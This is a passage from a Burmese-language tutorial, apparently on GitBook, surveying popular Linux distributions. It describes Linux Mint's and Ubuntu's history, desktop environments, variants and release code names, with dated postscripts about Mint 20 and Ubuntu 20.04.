လွယ်ကူပါတယ်။ တခါတလေ LibreOffice ကစွမ်းဆောင်ရေ ပိုမြင့်နေတာမျိုးတွေ တွေ့ရတတ်ပါတယ်။ ထိုနည်းတူ Apple MacOS ကလည်း design သမားတွေ video editing သမားတွေ အတွက်တော့ အသဲစွဲဖြစ်နေတုန်းပါ။ Apple ကတော့ OS အပြင် hardware ကို ရောင်းတာဖြစ်တဲ့ အတွက် အမြင်ပိုင်း ပုံစံပိုင်းမှာလည်း ဆန်းသစ်လို့အများနဲ့မတူတဲ့ laptop၊ desktop နဲ့ phone တွေမှာ ရှေ့ကို ကြိုရောက်နေတတ်ပါတယ်။ သူတို့နှစ်ခုလုံးမှာ အားနည်းချက် အားသာချက်တွေလည်း ကိုယ်စီရှိကြပါတယ်။ ဥပမာအားဖြင့် Apple iMac နဲ့MacBook တွေဟာ အမြင်အားဖြင့် ဆန်းရုံသာမက Graphic နည်းပညာမှာတော်တော်လေးကို ကောင်းကြတာ လူတိုင်းသိပြီးသားဖြစ်မှာပါ။ ဒါပေမယ့် ဈေးကြီးလို့budget သမားတွေအတွက်တော့ မကိုက်ပြန်ပါဘူး။ ၎င်းနည်းတူ ရုံးတွေအတွက် အသုံးများတဲ့ Windows OS တွေက Licensing ဆိုတဲ့ဟာမျိုး တွေကတော်တော် ရှုပ်နေတုန်းပါ။ Edition တစ်ခုနဲ့တစ်ခုကလည်း ဈေးတွေကွာတဲ့ အပြင် ပါဝင်တဲ့ features တွေကလည်း မတူပါဘူး။ မြန်မာနိုင်ငံမှာတော့ ကုမ္ပဏီကြီးတွေကလွဲလို့အိမ်သုံးကွန်ပြူတာတွေမှာတော့ အခမဲ့သုံးလို့ရအောင် Cracked လုပ်ထားတဲ့ Pirate တွေသုံးနေရတုန်းဖြစ်တဲ့ အတွက် Virus တွေ Trojan တွေမပါ နိုင်ဘူးလို့လည်း ပြောလို့မရပါဘူး။ နောက်ပြီး လက်ရှိ virus ပြန့်ဖို့အလွယ်ဆုံး OS က Windows ဖြစ်ပါတယ်။ Microsoft ရဲ့ Certification and Training program ကောင်းကောင်းတွေ ရှိလို့လူတော်တော် များများကသူ့ရဲ့ application နဲ့OS ကို ကျွမ်းကျင်စွာ အသုံးပြုတတ်ကြပါတယ်။ နည်းပညာသမားတွေကိုယ်တိုင်တောင်မှ Microsoft ရဲ့ Products တွေမှာ ပိုပြီးအားသန်ကြတွေ့နေရတုန်းပါ။

အထက်မှာပြောသွားတာကတော့ Microsoft နဲ့ Apple တို့ရဲ့အားသာချက် အားနည်းချက်တွေပါ။ Linux အကြောင်းကိုလုံးဝ မပြောရသေးပါဘူး။ ဘာဖြစ်လို့အဲ့ဒါတွေကို အရင်ပြောရလဲ ဆိုရင် Linux က လုံးဝခွဲထွက်သွားတဲ့ အတွေးအခေါ် နဲ့နည်းပညာ ဆန်းသစ်မှုတွေကြောင့်လို့ပဲဆိုရမှာပါ။ Linux ကအခမဲ့ အသုံးပြုလို့ source code ကိုကိုယ်လိုသလို ပြင်လို့ရအောင် GNU GPL version 2 ဆိုတို့ရဲ့တဲ့ Open Source license အောင်မှာ register လုပ်ထားပါတယ်။ Linux ရဲ့ Licensing နဲ့ Open Source အကြောင်းတွေကို နောက်ပိုင်းမှာ အသေးစိတ်ရှင်းလင်းပါ့မယ်။ အခုတော့ GNU Linux မှာနာမည်ရနေတဲ့ Distributions တွေအကြောင်းရေးသွားပါ့မယ်။ အတိုကောက်ကတော့ Distro လို့ခေါ်ကြပါတယ်။ Open Source ဖြစ်တဲ့ အတွက် distro developer တွေက ပုံစံမျိုးစုံနဲ့ နာမည်တွေပေးပြီး အသီးသီးထုတ်ကြပါတယ်။ Linux ကိုစပြီး အသုံးပြုသူတွေ အတွက်တော့ နည်းနည်း မျက်စိလည်စရာရှိပေမယ့် အသုံးပြုရင်းနဲ့ နည်းနည်း သဘောပေါက်လာပါလိမ့်မယ်။ အသုံးပြုသူရဲ့ အတွေ့ အကြုံပေါ်မူတည်ပြီးတော့လည်း အသုံးပြုတာလွယ်ကူတဲ့ distro တွေရှိသလို (ဥပမာ Ubuntu တို့ Linux Mint တို့လိုမျိုး လူကြိုက်များ distro)၊ အသေးစိတ်လို သလို ပြင်ဆင်အသုံးပြုနိုင်တဲ့ distro တွေလည်းရှိပါတယ်။ (ဥပမာ Arch တို့Slackware တို့လို အတွေ့ အကြုံတွေအများကြီးလိုတဲ့ distro)

အောက်မှာဖော်ပြသွားမယ့် အကြောင်းတွေက DistroWatch လို့ခေါ်တဲ့ website ကနေ ရတဲ့အချက်အလက်တွေကို အခြေခံပြီးရှင်းပြပေးသွားမှာပါ။ DistroWatch ကတော့ တနေ့ ကို လူဘယ်နှစ်ယောက် သက်ဆိုင်ရာ distro website တွေကိုလာကြည့်ကြသလဲ ဘယ်နှကြိမ်လောက် download လုပ်သလဲ ဆိုတာနဲ့ တိုင်းတာပြီး ဖော်ပြထားတာဖြစ်ပါတယ်။ လူတွေ စိတ်ဝင်စားတာအများဆုံး distro ၁ဝခုကို အစဉ်လိုက်အောက်မှာ ရှင်းပြသွားပါ့မယ်။

## ၁. Linux Mint

ပထမဆုံး အနေနဲ့ Linux ကမ္ဘာမှာ လူအသုံး အများဆုံးဖြစ်တဲ့ Linux Mint အကြောင်းလေးပြောပြပါ့မယ်။ Linux Mint ကတော့ Ubuntu ဆိုတဲ့ distro ကနေဆင်းသက်လာတဲ့ GNU Linux ဖြစ်ပါတယ်။ အိုင်ယာလန် (Ireland) မှာနေတဲ့ Clement Lefebvre ဆိုတဲ့ ပြင်သစ်နိုင်ငံဖွားက ၂၀၀၆ခုနှစ်မှာ စတင်ခဲ့ပါတယ်။ အဲ့ဒီအချိန်က သူဟာ Linux အသုံးပြုသူတွေ ရင်ဆိုင်နေရတဲ့ ပြဿနာတွေ ကူညီဖြေရှင်း ကနေ distro အသစ် သူကိုယ်တိုင်စဖို့ဆုံးဖြတ်ပြီး Mint project ကိုစတင်ဖြစ်ပါတယ်။ အဓိက ကတော့ Linux ရဲ့ အသုံးပြုလာတာ ကြာပြီဖြစ်သော Desktop Environment များဖြစ်တဲ့ Gnome နဲ့ KDE ကနေ ခွဲထွက်သွားတဲ့ Ubuntu က Unity ကို Linux အသုံးပြုသူတွေ အပြင်းအထန် ဝေဖန်ခဲ့ကြပါတယ်။ Ubuntu က Linux အသုံးပြုသူတွေအတွက် အဆင်ပြေအောင် လုပ်ပေးပြီးသား ဖြစ်ပါတယ်။ အဲ့ဒါကြောင့် Ubuntu မှာပဲ အခြေခံပြီးတော့ User Interface ကို Gnome Desktop Environment နဲ့ အနီးစပ်ဆုံး ဖြစ်အောင်လုပ်တဲ့ အတွက် အစပိုင်းကတည်းက အောင်မြင်ရရှိခဲ့တဲ့ distro ဖြစ်ပါတယ်။ နောက်ပိုင်းမှာတော့ Cinnamon desktop environment ဆိုပြီး ဖြစ်လာပါတယ်။ နောက်ပြီး Linux Mint အသုံးပြုသူတွေရဲ့ အကြံဥာဏ်တွေကို လည်း တလေးတစား တန်ဖိုးထားပြီး ပြင်သင့်တာတွေ လိုအပ်နေတာတွေကို ဖြည့်ဆည်းပေးခဲ့တာတွေကြောင့် အခုချိန်ထိ အောင်မြင်ဆဲ distro တစ်ခုဖြစ်နေဆဲပါ။

Linux Mint မှာလည်း တခြား distro တွေလို အသုံးပြုသူတွေ လိုသလို ပြင်ရင်း မတူတဲ့ desktop environment တွေနဲ့လည်းရှိနေပါတယ်။ Cinnamon ကတော့ လက်ရှိ Linux Mint 18 ရဲ့ နဂိုပါလာတဲ့ desktop environment ဖြစ်ပါတယ်။ KDE တို့ MATE တို့လိုပုံစံတွေနဲ့လည်း လာပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-368c69b7e4d1417e6cf1c1f8d3142b8c1fa7fe78%2Fcinnamon.png?alt=media" alt=""><figcaption></figcaption></figure>

**Linux Mint ရဲ့အားသာချက်များ**

သုံးရတာလွယ်ကူလို့ Windows ကနေ Linux ကိုပြောင်းသုံးချင်သူ တွေအတွက်တော့ အဆင်ပြေဆုံး ဖြစ်ပါတယ်။ Desktop ပုံစံက Windows နဲ့ တော်တော် နီးစပ်ပါတယ်။ Ubuntu ကို အခြေခံ ထားတဲ့ အတွက် Ubuntu မှာသုံးလို့ရတဲ့ application အကုန်လုံးနီးပါး Mint မှာသုံးလို့ ရပါတယ်။ Ubuntu မှာလိုပဲ APT package manager ကိုထည့်ပေးထားပြီး deb package တွေကို အသုံးပြုလို့ရမှာဖြစ်ပါတယ်။

**Linux Mint မှာရနိုင်တဲ့ Editions များ**

အဓိက လူသုံးများတဲ့ edition မှာတော့ MATE နဲ့ Cinnamon ကို နဂိုအတိုင်းထည့်ပေးထားပါတယ်။ Community Editions လို့ ခေါ်တဲ့ ဝါသနာတူတွေစုပြီး ရေးထားပေးတဲ့ edition မှာတော့ KDE နဲ့ ပေါ့ပါးအောင် (သို့မဟုတ် Lightweight ဖြစ်အောင်) ရေးတဲ့နေရာမှာ နာမည်ရတဲ့ Xfce ကိုအသုံးပြုထားပါတယ်။ Debian Edition ဆိုတာလည်းထွက်ပါတယ်။ သူလည်း MATE နဲ့ Cinnamon ကိုသုံးပါတယ်။

**Linux Mint နဲ့ဆင်တူ distro များ**

Ubuntu, Elementary OS (Apple MacOS နဲ့ တော်တော်ဆင်တူအောင်ရေးထားတဲ့ distro ပါ။), Zorin OS (Microsoft Windows နဲ့ အတူနိုင်ဆုံးဖြစ်အောင်လုပ်ထားတဲ့ distro တစ်ခုဖြစ်ပါတယ်။), Lubuntu (Ubuntu ကိုမှ Lightweight ဖြစ်အောင်လုပ်ထားတဲ့ အတွက် Lightweight Ubuntu သို့မဟုတ် Lubuntu ဆိုပြီးခေါ်ပါတယ်။ ကွန်ပြူတာ အဟောင်းတွေအတွက် ပိုပြီးသင့်တော်ပါတယ်။ စာရေးသူ ကိုယ်တိုင် အကြိုက်ဆုံး distro လည်းဖြစ်၊ လက်ရှိဒီစာကိုရေးနေတဲ့ အချိန် Laptop ပေါ်မှာတင်ထားပြီး အသုံးပြုနေတဲ့ distro လည်းဖြစ်ပါတယ်။ အမြင်ရှင်းသလောက် ပေါ့ပါးတဲ့ OS တစ်ခုဖြစ်ပါတယ်။), Xubuntu, Peppermint OS တို့ဖြစ်ပါတယ်။

**လက်ရှိ Linux Mint Version နဲ့ Code-name**

လက်ရှိ version ကတော့ Linux Mint 18.1 ဖြစ်ပြီး သူရဲ့ code-name ကတော့ Serena ဖြစ်ပါတယ်။ တိုက်တိုက်ဆိုင်ဆိုင် စာရေးသူ ဒီစာကိုရေးနေတုန်း ဒီနေ့ ၁၆ရက်နေ့ ဒီဇင်ဘာမှာ ၂၀၁၆ မှာပဲ Linux Mint 18.1 Serena ထွက်ပါတယ်။ ၂၀၁၆ခုနှစ် ဒီဇင်ဘာလ အစောပိုင်းထဲမှာ beta version ထွက်ခဲ့ပြီး လက်ရှိ Linux Mint 18.1 Serena မတိုင်ခင်မှာ Linux Mint 18 Sarah ထွက်ခဲ့ပါတယ်။ Linux Mint 18.1 Serena ကိုတော့ ထူးထူးခြားခြား အနေနဲ့LTS လုပ်ပေးထားပါတယ်။ Long Term Support (LTS) ဆိုတဲ့အတိုင်း ၂၀၂၁ ခုနှစ်ထိ ၅နှစ်တိုင်တိုင် စိတ်ချလက်ချ update တွေရမှာ ဖြစ်ပါတယ်။ Windows နဲ့ Apple ကနေ ပြောင်းချင်တဲ့သူတွေကတော့ Linux Mint စမ်းပြီးသုံးကြည့်သင့်ပါတယ်။ သုံးသုံးချင် Cinnamon desktop ကို Linux စတင် အသုံးပြုသူတွေ တော်တော်များများက ကြိုက်ကြပါတယ်။ နောက်ပြီး ထူးခြားချက် တစ်ခုကတော့ Linux Mint ဟာ သူ့ရဲ့ code-name များကို ချစ်စရာကောင်းတဲ့ အင်္ဂလိပ် အမျိုးသမီး နာမည်များနဲ့ မှည့်လေ့ရှိပါတယ်။

စာကြွင်း။ ။ လက်ရှိမှာတော့ Linux Mint ဟာ version 19.2 ကို ရောက်နေပါပြီ။ code-name ကိုတော့ Tina လို့မှည့်ခေါ်ထားပါတယ်။ Ubuntu ရဲ့ 18.04 LTS ဖြစ်တဲ့ Ubuntu Bionic Beaver ပေါ်မှာ အခြေခံထားပါတယ်။

### Linux Mint 20 Release (Ulyana)

\[29/06/2020] စာကြွင်း။ ။ ဒီစာကို ပြန်ပြီးတော့ revise လုပ်တော့ အခုဒီစာကိုရေးတဲ့အချိန်မှာ Linux Mint ဟာ version 20 release ကိုရောက်လို့နေပါပြီ။ codename ကိုတော့ Ulyana ဆိုတဲ့ မိန်းကလေးနာမည်ကို မှည့်ပေးထားပါတယ်။ Linux Mint 20 ကိုတော့ Ubuntu 20.04 LTS Focal Fossa ပေါ်မှာအခြေခံပြီးတော့ တည်ဆောက်ထားတဲ့ release ပါ။ Official release ထွက်တာ နှစ်ရက်သုံရက်လောက်ပဲ ရှိပါသေးတယ်။ ၂၇ ရက် ဇွန်လ ၂၀၂၀ခုနှစ် မှာဖြစ်တဲ့အတွက် တော်တော်လေးကို သစ်တယ်လို့ ဆိုရမှာပါ။ Ubuntu 20.04 LTS ကို အခြေခံထားသော်လည်း Linux Mint 20 မှာ Focal Fossa နဲ့ ထိပ်တိုက်တွေ့မယ့် အနေအထားမျိုးကို ဖန်တီးလာပါတယ်။ ပြဿနာက Linux Mint 20 ဟာ Ubuntu 20.04 LTS မှာအခြေခံထားသော်လည်း SnapCraft ရဲ့ snapd ကို သူ့ရဲ့ software center မှာ ဒီအတိုင်းပေးမ run ပါဘူး။ အခုတလော အရမ်းကို ပွတ်ပွတ်ညံနေတဲ့ Ubuntu နဲ့ Mint distro နှစ်ခုကြားက စစ်အေးတစ်ခုလိုလိုတောင်ဖြစ်လာပါတယ်။ သိထားပြီးကြတဲ့အတိုင်း… Canonical ရဲ့ Ubuntu 20.04 LTS မှာ software center မှာ software တွေကို install လုပ်တဲ့ အခါ သူ့ရဲ့ background မှာ snap စီကို redirect ပြန်လုပ်ပါတယ်။ SnapCraft ဟာ Canonical အတွက်တော့ နောက်ပိုင်း software တွေကို install လုပ်ဖို့ရန်အတွက် road map တစ်ခုပမာဖြစ်လာတော့မှာပါ။ Android မှာ App ကို management လုပ်တဲ့ပုံစံမျိုးကို သူတို့ အလိုရှိပါတယ်။ Android မှာ Google Play store ရှိသလို F-Droid လို privacy ကို လေးစားတဲ့ app store လည်းရှိပါတယ်။ အဲ့ဒီ App distribution method ကို Canonical ကလည်း developers တွေဘက်ကရော၊ app တွေကို အသုံးပြုတဲ့ user တွေဘက်ကရော အဆင်ပြေအောင်လို့ unified လုပ်ချင်တဲ့သဘောပါ။ Ubuntu Touch ကလည်း mobile ဘက်မှာ PinePhone လို open hardware platform လက်ကိုင်ဖုန်းတွေကြောင့် တခေတ်ပြန်ထဖို့ရှိနေပါတယ်။ အဲ့ဒီတော့ Canonical ဘက်ကလိုအပ်တဲ့ road map ကို ကြိုပြီးတော့ချထားချင်တာလည်းဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-0a43b6bc9f027e01b40436bb332e371c2548d969%2Fmint-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

သို့သော်… Linux Mint 20 ကို ထုတ်ဖို့လုပ်တဲ့ နေရာမှာ Mint ရဲ့ core developers တွေကတော့ snapd ဟာ software တွေကို install လုပ်ဖို့အတွက် တစ်ခုတည်းသော store မဖြစ်သင့်ဘူးလို့ ဆန့်ကျင်ဘက်အမြင်ရှိပြန်ပါတယ်။ ဒါ့အပြင် snap ကိုလည်း အယုံအကြည်မရှိဘူးလို့ ဆိုလာပြန်ပါတယ်။ Ubuntu ဘက်ကတော့ မင်းတို့ Mint အဖွဲ့က Ubuntu ကို upstream အနေနဲ့ ရှိသမျှ repo တွေကို ယူသုံးပြီးကာမှ မယုံဘူးဆိုတော့ ဘာလည်း ပေါ့။ အဲ့ဒီ စစ်အေးက လက်ရှိအချိန်ထိ ခပ်နွေးနွေးရှိနေတုန်းပါ။ ဒီကြားထဲမှာပဲ Mint ဟာ version 20 release ကို snap ကို disabled လုပ်ပြီးတော့ ထုတ်ချလိုက်ပါတယ်။ နောက်ပိုင်းမှ snap အကြောင်းကို သီးသန့်ရေးပါ့မယ်။ အခုဟာ Linux Mint 20 အကြောင်းမို့ သူ့ရဲ့ release note ကို ဒီ [link](https://linuxmint.com/rel_ulyana_cinnamon.php) မှာ အချိန်ရှိရင်သွားရောက် အသေးစိတ်ဖတ်ရှုနိုင်ပါတယ်။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၂)

**၂. Ubuntu**

Ubuntu ကိုတော့ စက်တင်ဘာလ ၂၀၀၄ ခုနှစ် မှာ Canonical ဆိုတဲ့ ကုမ္ပဏီကနေ စတင် မိတ်ဆက် ခဲ့ပါတယ်။ Canonical ကိုတော့ Mark Shuttleworth ဆိုတဲ့ တောင်အာဖရိ ကမှ လူဖြူ သန်းကြွယ် သူဋ္ဌေး တစ်ယောက်က တည်ထောင်ခဲ့ပါတယ်။ သူကတော့ ကမ္ဘာ ပေါ်မှာ အာကာသ ခရီးစဉ် ကို ဒုတိယမြောက် အလည် ခရီးသွား ဧည့်သည်လည်း ဖြစ်ခဲ့ပါတယ်။ နောက်ပြီး Canonical ကိုမတည်ထောင်ခင် ကတည်းက Debian project တွေမှာ သူဟာ လူသိများတဲ့ developer တစ်ယောက်ဖြစ် ခဲ့ပါတယ်။ အရည်အချင်းရှိသူတစ်ယောက် ဖြစ်ပြီး လူမူရေး လုပ်ငန်းများစွာ အတွက်လည်း ပါဝင်ကူညီသူ တစ်ယောက်ပါ။ Ubuntu ဆိုတာ ကလည်း အာဖရိက ကလူမျိုးစု တစ်စုရဲ့ ဘာသာစကားမှ ယူသုံးထားတာ လည်းဖြစ်သည်။ အင်္ဂလိပ်လို့ Humanness သို့မဟုတ် Humanity to others လို့ လည်းဘာသာပြန်ပါတယ်။ မြန်မာလိုတော့ လူသားဆန်မှု လို့ပဲပြန်ရမယ်ထင်ပါတယ်။ Ubuntu ရဲ့ လက်သုံးစကားရပ် တစ်ခုရှိခဲ့ပါတယ်။ သေချာတော့မမှတ်မိတော့ပါဘူး။ အနီးစပ်ဆုံး တိုက်ရိုက် အဓိပ္ပာယ်ပြန် ရရင်တော့ လူသားများအတွက် Linux လို့ထင်ပါတယ်။ နောက်ပိုင်းတော့ Ubuntu မသုံးတဲ့ သူတွေက လူမဟုတ်သလိုလို ဖြစ်နေတာကြောင့် အဲ့ဒီ စကားရပ်ကို မသုံးတော့ပါဘူး။

Ubuntu က Unity ဆိုတဲ့ Desktop Environment ကိုလည်းစတင်မိတ်ဆက်ပေးခဲ့ပါတယ်။ Linux အသုံးပြုသူ တော်တော်များ ကတော့ Unity ကို မကြိုက်ကြပါဘူး။ Unity ကသုံးတဲ့ Dash Lenses ကတော့ အစပိုင်းမှာ တော်တော်လေးကို အဝေဖန်ခံခဲ့ရပါတယ်။ Ubuntu 14.04 LTS မှာ Dash Lenses ကရိုက်ထည့် ပြီးရှာတဲ့ အရာတွေကို Ubuntu အသုံးပြုတဲ့ စက်ပေါ်တင်မဟုတ်ပဲ Amazon Online Shopping website မှာ အလိုအလျှောက် သွားရှာပါတယ်။ အဲ့လို ရှာတဲ့ ပစ္စည်းကို Dash Lenses မှာရှာပြီး ဝယ်သွားရင် Canonical က ပိုက်ဆံရပါတယ်။ အဲ့ဒါကြောင့် Free/Libre and Open Source Software (FLOSS) community က Ubuntu ကိုတော်တော်ဝေဖန်ခဲ့ ကြပါတယ်။ နောက်ပိုင်းမှာတော့ အဲ့ဒီ feature ကို နဂိုတိုင်း မထည့်ပေးတော့ပဲ ရွေးချယ်လို့ ရအောင်သာလုပ်ပေးထားပါတော့တယ်။

Ubuntu ကိုတော့ Debian ဆိုတဲ့ distro ကို အခြေခံပြီးတော့ရေးထားပါတယ်။ ၂၀၀၄ ခုနှစ်အစပိုင်းမှာ Ubuntu CD/DVD တွေကို အခမဲ့ ဖြန့်ဝေတာတွေလုပ်နိုင်ခဲ့လို့ လူတွေက စတင် သတိထား မိလာကြပါတယ်။ ဒါအပြင် အသုံးပြုတာရတာ လည်းလွယ်ကူတဲ့အတွက် လူကြိုက်များ လာခဲ့ပါတယ်။ နိုင်ငံတကာ မြန်မာနိုင်ငံ အပါအဝင် မှာတော့ Ubuntu Local User Group လေးတွေရှိပြီးတော့ Ubuntu အသုံးပြုသူတွေ အတွက် အကူအညီပေး နိုင်တာကြောင့် Ubuntu ဟာ Windows တို့ Apple အသုံးပြုသူတွေ အကြိုက်တွေ့ ကြပါတယ်။ စာရေးသူကိုယ်တိုင် ပထမဆုံး အသုံးပြုတဲ့ Linux distro တွေထဲမှာ Ubuntu လည်းပါ ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-46187c5f65487a65ecd257218a9da93503a30637%2Fubuntu-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ubuntu ရဲ့အားသာချက်များ**

Linux စတင် အသုံပြုသူတွေ အတွက် Support System ကောင်းကောင်းရှိတဲ့ အတွက် အဆင်ပြေပြီး တစ်ခုခု ဖြစ်လို့ Google ကနေရှာလိုက်ရင် ဘယ်လိုဖြေရှင်းကမလဲဆိုတဲ့ အဖြေကို အလွယ် တကူရှာဖွေတွေ့ရှိနိုင်ပါတယ်။ အထူးသဖြင့် မြန်မာနိုင်ငံမှာတော့ Ubuntu Local User Group ကတော်တော် တက်တက်ကြွကြွရှိလို့ Ubuntu ကို ပထမဆုံး GNU Linux distro အနေနဲ့ အသုံးပြုသင့် ပါတယ်။ ဇော်ဂျီ လက်ကွက် Keyboard နဲ့ Font အတွက်လည်း မြန်မာ developer တွေက Ubuntu မှာ အဆင်ပြေအောင် လုပ်ပေးထားလို့ ခေါင်းစား စရာသိပ် မလိုပါဘူး။ ဘယ် command တွေကို Terminal ရိုက်ထည့်လိုက် ဆိုတာမျိုးနဲ့ ပြီးသွားတာ များပါတယ်။ နောက်တစ်ခုကတော့ Ubuntu မှာ Long Term Support (LTS) ဆိုတာရှိ ပါတယ်။ ၅နှစ်တခါ LTS version တစ်ခုထွက်ပါတယ်။ ပုံမှန် Linux အထာအတိုင်း ၆လတခါ တော့ ပုံမှန် Upgrade ရပါတယ်။ စပြီး အသုံးပြုသူတွေ အတွက်တော့ LTS ကိုသာသုံးသင့် ပါတယ်။ LTS ကတော့ ပိုပြီး ပြဿနာနည်းတဲ့အပြင် Support က ၅နှစ်ရတဲ့ အတွက် ခဏခဏ Upgrade လိုက်လုပ်စရာမလိုပါဘူး။ Upgrade လုပ်ချင်လည်းရပါတယ်။ Debian ကို အခြေခံထားတဲ့ အတွက် တော်တော်လေး Stable ဖြစ်တဲ့ distro လည်းဖြစ်ပါတယ်။

**Ubuntu မှာရနိုင်တဲ့ Variants Distro များ**

တရားဝင် Canonical ကထုတ်တဲ့ Ubuntu ကတော့ Unity desktop environment နဲ့ လာပါတယ်။ Gnome 2.x ကို ကြိုက်တဲ့ Ubuntu အသုံးပြုသူတွေ developer တွေကတော့ Ubuntu Gnome တို့ Ubuntu MATE တို့ Linux Mint တို့ ဆိုပြီး ပြန်ရေးကြပါတယ်။ KDE ရဲ့ UI နဲ့ DE ကိုကြိုက်တဲ့သူတွေ အတွက်တော့ KDE Ubuntu (Kubuntu) ဆိုပြီးထွက်ပါတယ်။ ကွန်ပြူတာ အဟောင်းတွေပေါ် မှာ တင်လို့ကောင်းတဲ့ ပေါ့ပါးသွက်လတ် ပြီး မြန်ဆန်တဲ့ Lightweight Ubuntu – Lubuntu နဲ့ Xubuntu ဆိုတာမျိုး တွေလည်းရှိ ပါတယ်။ Apple လို desktop အတွေ့အကြုံ ခပ်ဆင်ဆင် ပေးနိုင်တဲ့ Elementary OS ဆိုတာလည်းထွက်ပါတယ်။ Multimedia သမားတွေ အတွက် Ubuntu Studio ဆိုတာလည်းရှိသလို ပညာသင် ကျောင်းသား ကျောင်းသူတွေအတွက် Education Ubuntu – Edubuntu ဆိုတာလည်း ရှိပါတယ်။ ဒါ့ အပြင် Ubuntu Kylin, Mythbuntu, Zorin OS, Pinguy OS, Trisquel GNU/Linux နဲ့ Bodhi Linux ဆိုတာမျိုးတွေလည်း အများကြီးရှိပါသေးတယ်။

**လက်ရှိ Ubuntu Version နဲ့ Code-name များ**

လက်ရှိ version ကတော့ Ubuntu 16.10 ဖြစ်ပါတယ်။ ၁၆ ဆိုတာကတော့ ထွက်ရှိတဲ့ ခုနှစ်ဖြစ်ပြီးတော့ ၁ဝဆိုတာကတော့ အောက်တိုဘာ (၁၀) လပိုင်းမှာထွက်တဲ့ version ဖြစ်ပါတယ်။ Ubuntu 16.10 ကတော့ LTS မဟုတ်ပါဘူး။ နောက်ဆုံးထွက်ရှိထားတဲ့ LTS ကတော့ Ubuntu 16.04 LTS ဖြစ်ပါတယ်။ အဲ့ဒီ မတိုင်ခင် LTS ကတော့ Ubuntu 14.04 LTS ဖြစ်ပါတယ်။ Ubuntuက ၅နှစ်ကို တစ်ခါ LTS ထုတ်ပါတယ်။ နှစ်စဉ် ပုံမှန် ထုတ်တဲ့ version နှစ်ခုရှိပါတယ်။ ၄လပိုင်း ဧပြီမှာထုတ်တဲ့ Ubuntu xx.04 နဲ့ ၁ဝလပိုင်း အောက်တိုဘာ မှာထုတ်တဲ့ Ubuntu xx.10 ဆိုပြီး ဖြစ်ပါတယ်။ အရှေ့က xx ဆိုတာကတော့ သက်ဆိုင်ရာ ခုနှစ်ဖြစ်ပါတယ်။ Ubuntu 16.10 ရဲ့ code-name ကတော့ Yakkety Yak ဖြစ်ပါတယ်။ နောက်နှစ် ၄လပိုင်း ဧပြီမှာတော့ Ubuntu 17.04 – Zesty Zapus ထွက်မှာ ဖြစ်ပါတယ်။ Ubuntu 16.04 LTS version ရဲ့ code-name ကတော့ Xenial Xerus ဖြစ်ပါတယ်။ Ubuntu 14.04 LTS ကိုတော့ Trusty Tahr လို့ နာမည်ပေးထားပါတယ်။ Ubuntu ရဲ့နာမည်မှည့်ပုံက နည်းနည်းတော့ ဆန်းပါတယ်။ version တိုင်းမှာ စာလုံး နှစ်လုံးပါပါတယ်။ ပထမ တစ်လုံးက ဝိသေသနလို့ ခေါ်တဲ့ Adjective နဲ့ ဒုတိယတစ်လုံးကတော့ အကောင်လေးတွေရဲ့ အခေါ်အဝေါ် တွေဖြစ်ပါတယ်။ ဥပမာ Zesty Zapus ဆိုတာ အဓိပ္ပာယ်ပြန်လိုက်ရင် Zesty ဆိုတာက စိတ်အား ထက်သန် တက်ကြွသော၊ Zapus ဆိုတာကတော့ အမေရိက ကကြွက် တစ်မျိုး ဖြစ်ပါတယ်။

စာကြွင်း။ ။ လက်ရှိမှာတော့ Ubuntu ဟာ 19.04 LTS ကိုရောက်နေပါပြီ။ code-name ကို Disco Dingo လို့ခေါ်ပါတယ်။ ဧပြီလ ၂၀၁၉ ခုနှစ်မှာ ထွက်ထားတာပါ။ ဒီ release က LTS မဟုတ်တဲ့အတွက် နောက် ၅နှစ် အထိ support လုပ်မှာမဟုတ်ပါဘူး။ Official DE အနေနဲ့ Gnome ကို Unity ပုံလောင်းထားတဲ့ DE ကို official default အနေနဲ့ လာပါတယ်။ Unity ထက်စာရင်တော့ Gnome ကို Ubuntu ပေါ်မှာ စာရေးသူအနေနဲ့ ပြီးတော့ သဘောတွေ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-64b9d27baa874df14a8e4caba722bbb6062525c9%2FUbuntu_18.04-768x432.png?alt=media" alt=""><figcaption></figcaption></figure>

\[၁၀.၀၅.၂၀၂၀] စာကြွင်း။ ။ ပြီးခဲ့တဲ့ ၂ ပတ် ၃ ပတ်လောက်က Ubuntu 20.04 LTS အသစ်ထပ်ထွက်ပါတယ်။ Code name ကိုတော့ Focal Fossa ဆိုတဲ့ နာမည်ပေးထားပါတယ်။ Fossa ဆိုတာကတော့ Africa မှာပဲရှိတဲ့ တောကြောင်လိုအကောင်တမျိုးဖြစ်ပါတယ်။ Madagascar ကာတွန်းထဲမှာ ပါပြီးတော့ Lemur ဆိုတဲ့ အကောင်သေးသေးလေးတွေကို လိုက်လံဖမ်းစားကြပါတယ်။ ထုံးစံအတိုင်း GNOME DE နဲ့ လာပြီးတော့ သူ့ရဲ့ version ကတော့ 3.36 ပါ။ Canonical ကလူတွေကော၊ အခြားသော Linux ကမ္ဘာကလူတွေရဲ့ သုံးသပ်ချက်အရတော့ ဒီ Ubuntu 20.04 LTS release ဟာ GNOME DE ရဲ့ အကောင်းဆုံးသော implementation ပါတဲ့။ စာရေးသူကိုယ်တိုင် သုံးကြည့်သလောက်တော့ အမြင်အရတော့ အရှေ့ LTS ဖြစ်တဲ့ Ubuntu 18.04 ထက်အများကြီးကွာခြားမှုတွေရှိပါတယ်။ Yaru ဆိုတဲ့ theme ကို default အနေနဲ့ အသုံးပြုထားပြီးတော့ visual ပိုင်းရော၊ performance ပိုင်းမှာပါ အများကြီး တိုးတက်လာတာကိုတော့ တွေ့ရပါတယ်။ လက်ရှိ ကိုယ့်ရဲ့ အဓိကသုံးတဲ့ 